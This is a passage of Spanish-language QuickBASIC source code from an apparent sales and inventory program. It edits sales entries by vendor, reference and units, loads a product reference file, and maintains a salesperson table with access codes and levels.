UNTIL finished + + CLOSE + + EXIT SUB + + +EditShowCursor: + IF ed = 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + LOCATE CurrRow + 4, Col(CurrCol) + 1 + + SELECT CASE CurrCol + CASE 1 + IF CurrFig#(1) <> 0 THEN PRINT " "; CurrFig#(1); ELSE PRINT " "; + CASE 2 + IF CurrFig#(2) <> 0 THEN PRINT " "; : PRINT USING "###"; CurrFig#(2); : PRINT " " ELSE PRINT " "; + CASE 3 + IF CurrFig#(3) <> 0 THEN PRINT " "; : PRINT USING "##"; CurrFig#(3); : PRINT " "; ELSE PRINT " "; + END SELECT + + RETURN + + +EditEditItem: + + CurrRecord = CurrTopline + CurrRow - 1 + + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + Fecha$; + COLOR colors(8, ColorPref), colors(9, ColorPref) + GraDat = 0: Clasifica = 0 + + SELECT CASE CurrCol + CASE 1 + DO + kbd$ = GetString$(CurrRow + 4, Col(CurrCol) + 1, kbd$, new$, vis(CurrCol), max(CurrCol)) + LOOP WHILE VAL(new$) > 9 OR VAL(new$) < 1 + + CurrFig#(1) = VAL(new$) + IF RTRIM$(LTRIM$(Title$(CurrFig#(1)))) = "" THEN + + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + Box 16, 24, 19, 49 + LOCATE 17, 25: PRINT "Ese Vendedor no existe" + LOCATE 18, 27: PRINT "Verifique el n£mero" + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + CurrFig#(1) = 1 + ELSE + LOCATE 1, 35: PRINT "Vendedor: " + Trim$(Title$(CurrFig#(1))); + END IF + + GOSUB EditPutLine + GOSUB EditGetLine + + CASE 2 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(2) + 1, start$, new$, vis(2), max(2)) + new2# = VAL(new$) + start$ = "" + LOOP WHILE new2# >= 1001# OR new2# < 0 + CurrFig#(2) = new2# + + reg = 0: b = 1 + DO + IF Ca#(b) = CurrFig#(2) THEN + CurrString$(1) = Cb$(b) + CurrFig#(4) = Cd#(b) + Clasifica = 1: Valpu = 1 + EXIT DO + END IF + b = b + 1 + LOOP WHILE Ca#(b) <> 0 OR b <= TopeRef# + 1 + IF Clasifica = 0 THEN + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + lin$(df) = CHR$(SCREEN(Ol, Oc)) + NEXT Oc, Ol + Box 16, 24, 19, 49 + LOCATE 17, 25: PRINT "Esa Referencia no existe" + DO + i$ = INKEY$ + LOOP WHILE i$ = "" + COLOR colors(7, ColorPref), colors(4, ColorPref) + df = 0 + FOR Ol = 16 TO 19 + FOR Oc = 24 TO 49 + df = df + 1 + LOCATE Ol, Oc: PRINT lin$(df) + NEXT Oc, Ol + CurrFig#(2) = 0 + END IF + + BalTotal# = BalTotal# - Balance#(CurrRecord) + Balance#(CurrRecord) = CurrFig#(3) * CurrFig#(4) + BalTotal# = BalTotal# + Balance#(CurrRecord) + + GOSUB EditPutLine + GOSUB EditGetLine + + CASE 3 + + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(3) + 1, start$, new$, vis(3), max(3)) + new3# = VAL(new$) + start$ = "" + CurrFig#(3) = new3# + + LOOP WHILE CurrFig#(3) < 1 OR CurrFig#(3) > 99 + + BalTotal# = BalTotal# - Balance#(CurrRecord) + Balance#(CurrRecord) = CurrFig#(3) * CurrFig#(4) + BalTotal# = BalTotal# + Balance#(CurrRecord) + + GOSUB EditPutLine + GOSUB EditGetLine + + IF der <> CurrRecord THEN + ed = 1: GOSUB EditShowCursor: ed = 0: 'Oculta el cursor para obtener datos ED=1 + GOSUB EditAddRecord + END IF + + der = CurrRecord + + CASE ELSE + END SELECT + + GOSUB EditPrintLine + + RETURN + +EditMoveUp: + Valpu = 0 + 'Si La linea actual es igual a la linea minima es decir la ultima entrada. + IF CurrRow = 1 THEN + IF CurrTopline = 1 THEN + BEEP + ELSE + ScrollDown + CurrTopline = CurrTopline - 1 + GOSUB EditGetLine + GOSUB EditPrintLine + END IF + ELSE + CurrRow = CurrRow - 1 + GOSUB EditGetLine + END IF + GOSUB PrintBalan + RETURN + +EditMoveDown: + Valpu = 0 + IF (CurrRow + CurrTopline - 1) >= MaxRecord THEN + BEEP + ELSE + IF CurrRow = 16 THEN + ScrollUp + CurrTopline = CurrTopline + 1 + GOSUB EditGetLine + GOSUB EditPrintLine + ELSE + CurrRow = CurrRow + 1 + GOSUB EditGetLine + END IF + END IF + GOSUB PrintBalan + RETURN + +EditPrintLine: + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRecord = CurrTopline + CurrRow - 1 + LOCATE CurrRow + 4, 2 + IF CurrRecord = MaxRecord + 1 THEN + PRINT u1x$; + ELSEIF CurrRecord > MaxRecord THEN + PRINT u1$; + ELSE + + IF CurrFig#(1) <> 0 THEN PRINT " "; CurrFig#(1); ELSE PRINT " "; + + IF CurrFig#(2) <> 0 THEN PRINT "³ "; : PRINT USING "###"; CurrFig#(2); : PRINT " "; ELSE PRINT "³ "; + + IF RTRIM$(LTRIM$(CurrString$(1))) <> "" THEN PRINT "³ " + CurrString$(1) + " "; ELSE PRINT "³ "; + + IF CurrFig#(3) <> 0 THEN PRINT "³ "; : PRINT USING "##"; CurrFig#(3); : PRINT " "; ELSE PRINT "³ "; + + IF CurrFig#(4) <> 0 THEN PRINT "³ "; : PRINT USING u2$; CurrFig#(4); : PRINT " ³"; ELSE PRINT "³ ³"; + + IF Balance#(CurrRecord) <> 0 THEN PRINT USING u3$; Balance#(CurrRecord); ELSE PRINT " " + + IF bajabar <> 1 THEN GOSUB EditPrintBalances + + +END IF + +RETURN + +EditPrintBalances: + COLOR colors(7, ColorPref), colors(4, ColorPref) + FOR tAt = 1 TO 16 + CurrRecord = CurrTopline + tAt - 1 + IF CurrRecord <= MaxRecord THEN + LOCATE 4 + tAt, 67 + PRINT USING u3$; Balance#(CurrTopline + tAt - 1); + END IF + NEXT tAt + CurrRecord = CurrTopline + CurrRow - 1 + +PrintBalan: + + IF bajabarra <> 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PvpTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(5) + PcTotal# = CurrFig#(3) * CurrFig#(4) * CurrFig#(6) + LOCATE 21, 1: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ" + Box 22, 1, 24, 80 + LOCATE 23, 2: PRINT CurrString$(1) + LOCATE 23, 25: PRINT "³"; + LOCATE 23, 26: PRINT USING u9$; PvpTotal#; + PRINT "³"; + PRINT USING u9$; PcTotal#; + PRINT "³"; + PRINT USING u9$; BalTotal#; + END IF + + RETURN + +EditDeleteRecord: + bajabar = 1 + IF MaxRecord = RecordMin THEN + BEEP + ELSE + CurrRecord = CurrTopline + CurrRow - 1 + MaxRecord = MaxRecord - 1 + A = CurrRecord + BalTotal# = BalTotal# - Balance#(CurrRecord) + WHILE A <= MaxRecord + GET #1, A + 2 + RecordMin + PUT #1, A + 1 + RecordMin + Balance#(A) = Balance#(A + 1) + A = A + 1 + WEND + + Balance#(MaxRecord + 1) = 0 + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + CurrRecord = CurrTopline + CurrRow - 1 + IF CurrRecord > MaxRecord THEN + GOSUB EditMoveUp + END IF + bajabar = 0 + GOSUB EditGetLine + + END IF + RETURN + +EditAddRecord: + bajabar = 1 + CurrRecord = CurrTopline + CurrRow - 1 + + A = MaxRecord + + tb = 0 + WHILE A > CurrRecord + + GET #1, A + 1 + RecordMin + PUT #1, A + 2 + RecordMin + + Balance#(A + 1) = Balance#(A) + + A = A - 1 + + WEND + + + Balance#(CurrRecord + 1) = 0 + + MaxRecord = MaxRecord + 1 + LSET IoVen$ = STR$(0) + LSET IoRef$ = STR$(0) + LSET IoUnd$ = STR$(0) + CurrString$(1) = "": CurrFig#(4) = 0 + + PUT #1, CurrRecord + 2 + RecordMin + + LSET valid$ = "SI" + LSET IoMaxRecord$ = Cvit$(MaxRecord) + PUT #1, 1 + GOSUB EditPrintWholeScreen + + GOSUB EditGetLine + RETURN + +EditPrintWholeScreen: + vex = 0 + + temp = CurrRow + FOR CurrRow = 1 TO 16 + CurrRecord = CurrTopline + CurrRow - 1 + + IF MaxRecord <> RecordMin OR vex = 0 THEN + IF CurrRecord <= MaxRecord THEN + GOSUB EditGetLine + END IF + END IF + GOSUB EditPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditPutLine: + Graba = CurrRecord + RecordMin + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDia$ = CurrDia$ + LSET IoVen$ = LTRIM$(RTRIM$(STR$(CurrFig#(1)))) + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoUnd$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + PUT #1, CurrRecord + RecordMin + RETURN + + +EditGetLine: + Graba = CurrRecord + RecordMin + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + RecordMin + dia$ = IoDia$ + CurrFig#(1) = VAL(IoVen$) + CurrFig#(2) = VAL(IoRef$) + CurrFig#(3) = VAL(IoUnd$) + compufech$ = mes$ + "-" + dia$ + "-" + an$ + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + compufech$; + RETURN + + +CargaReferencias: + +CLS +Box 14, 28, 17, 51 + +center 15, "Cargando referencias" +center 16, "Por favor, espere..." + + + file2$ = "Ref#." + Cvit$(e%) + + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + + + GET #2, 1 + IF vld$ <> "SI" THEN + LSET IRf$ = STR$(0) + LSET IDsc$ = "" + LSET ICC$ = STR$(0) + LSET IPVP$ = STR$(0) + LSET IPC$ = STR$(0) + PUT #2, 2 + LSET vld$ = "SI" + LSET IMxRcrd$ = "1" + PUT #2, 1 + END IF + TopeRef# = VAL(IMxRcrd$) + + + b = 1 + WHILE b <= TopeRef# + GET #2, b + 1 + Ca#(b) = VAL(IRf$) + Cb$(b) = IDsc$ + Cc#(b) = VAL(ICC$) + Cd#(b) = VAL(IPVP$) + Ce#(b) = VAL(IPC$) + b = b + 1 + WEND + + +CLOSE #2 +RETURN + +END SUB + +'Trin$: +' Remove null and spaces from the end of a string. +FUNCTION Trim$ (x$) + + IF x$ = "" THEN + Trim$ = "" + ELSE + lastChar = 0 + FOR A = 1 TO LEN(x$) + y$ = MID$(x$, A, 1) + IF y$ <> CHR$(0) AND y$ <> " " THEN + lastChar = A + END IF + NEXT A + Trim$ = LEFT$(x$, lastChar) + END IF + +END FUNCTION + +SUB Vende (r%) + Save = 0 + + 'Information about each column + REDIM help$(4), Col(4), vis(4), max(4), Title$(9), Desc$(9), Ca$(9), AType$(9) + 'Draw the screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + + OPEN "Vendedor" + Cvit$(r%) FOR RANDOM AS #1 LEN = 69 + + FIELD #1, 20 AS T$, 43 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + + FOR A = 1 TO 9 + GET #1, A + 1 + Title$(A) = T$ + Desc$(A) = D$ + Ca$(A) = C$ + AType$(A) = A$ + NEXT A + CLOSE + + + Box 2, 1, 14, 80 + Box 15, 1, 18, 80 + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80) + LOCATE 1, 4: PRINT "Editor de Vendedores, Empresa: " + Trim$(Account(r%).Title); + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 3, 2: PRINT "No³ Vendedor/a ³ Otros Datos ³ C.A ³N.A" + LOCATE 4, 2: PRINT "ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄ" + u$ = "##³\ \³\ \³\ \³ ! " + + FOR A = 5 TO 13 + LOCATE A, 2 + x = A - 4 + PRINT USING u$; x; Title$(x); Desc$(x); " " + Ca$(x); AType$(x); + + NEXT A + + 'Initialize variables + help$(1) = " Nombre del Vendedor/a " + help$(2) = " Direcci¢n, n§ Telefono, etc... " + help$(3) = " Codigo Personal de Acceso al Sistema " + help$(4) = " Acceso al Sistema ( Nivel 1 a 5 ) " + Col(1) = 5: Col(2) = 26: Col(3) = 72: Col(4) = 78 + vis(1) = 20: vis(2) = 43: vis(3) = 3: vis(4) = 1 + max(1) = 20: max(2) = 43: max(3) = 3: max(4) = 1 + + finished = false + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + 'Loop until F2 or is pressed + DO + GOSUB EditAccountsShowCursor 'Show Cursor + DO 'Wait for key + kbd$ = INKEY$ + LOOP UNTIL kbd$ <> "" + IF kbd$ >= " " AND kbd$ < "~" THEN 'If legal, edit item + + COLOR colors(8, ColorPref), colors(9, ColorPref) + ok = false + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), start$, end$, vis(CurrCol), max(CurrCol)) + SELECT CASE CurrCol + CASE 1: Title$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 2: Desc$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 3: Ca$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 4: AType$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE ELSE + + END SELECT + start$ = "" + + IF CurrCol = 4 THEN + x$ = UCASE$(end$) + IF VAL(x$) >= 1 OR VAL(x$) <= 5 THEN + ok = true + ELSE + BEEP + END IF + ELSE + ok = true + END IF + + LOOP UNTIL ok + END IF + + hide = 1: GOSUB EditAccountsShowCursor: hide = 0 'Hide Cursor so it can move + 'If it needs to + SELECT CASE kbd$ + CASE CHR$(0) + "H" 'Up Arrow + CurrRow = CurrRow - 1 + IF CurrRow <= 0 THEN CurrRow = 9 + + CASE CHR$(0) + "P" 'Down Arrow + CurrRow = (CurrRow) MOD 9 + 1 + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab + CurrCol = (CurrCol + 4) MOD 3 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right or Tab + CurrCol = (CurrCol) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "<" 'F2 + finished = true + Save = 1 + CASE CHR$(27) 'Esc + finished = true + Save = false + CASE CHR$(13) 'Return + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + IF Save = 1 THEN + + OPEN "Vendedor" + Cvit$(r%) FOR RANDOM AS #1 LEN = 69 + FIELD #1, 20 AS T$, 43 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + FOR A = 1 TO 9 + LSET T$ = Title$(A) + LSET D$ = Desc$(A) + LSET C$ = Ca$(A) + LSET A$ = AType$(A) + PUT #1, A + 1 + NEXT A + CLOSE + + END IF + + EXIT SUB + + +EditAccountsShowCursor: + + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, Col(CurrCol) + SELECT CASE CurrCol + CASE 1: PRINT Title$(CurrRow) + CASE 2: PRINT Desc$(CurrRow) + CASE 3: PRINT Ca$(CurrRow) + CASE 4: PRINT AType$(CurrRow) + CASE ELSE + END SELECT + + RETURN + +END SUB +